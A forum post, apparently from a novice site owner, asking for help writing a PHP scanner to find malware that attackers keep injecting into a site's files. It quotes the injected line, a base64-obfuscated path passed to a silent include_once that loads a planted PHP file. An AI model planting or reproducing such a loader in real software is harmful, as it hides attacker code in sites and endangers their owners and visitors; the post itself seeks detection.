Ok I am pretty new to php but I know it can read directorys and files.
I have been struggling with malware problem on one of our sites and I need to write a script to search for it on my host space.
The code the hackers are putting in the files is
*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>
I have no idea what this is but google blocks my site when this shows up.
I have to download all the files then search it in dreamweaver replace this crap with a space and put it back.
I need a script to detect this before google does.
If any one can give me some pointers it will be great
I am sure this is a problem that everyone will face now or later.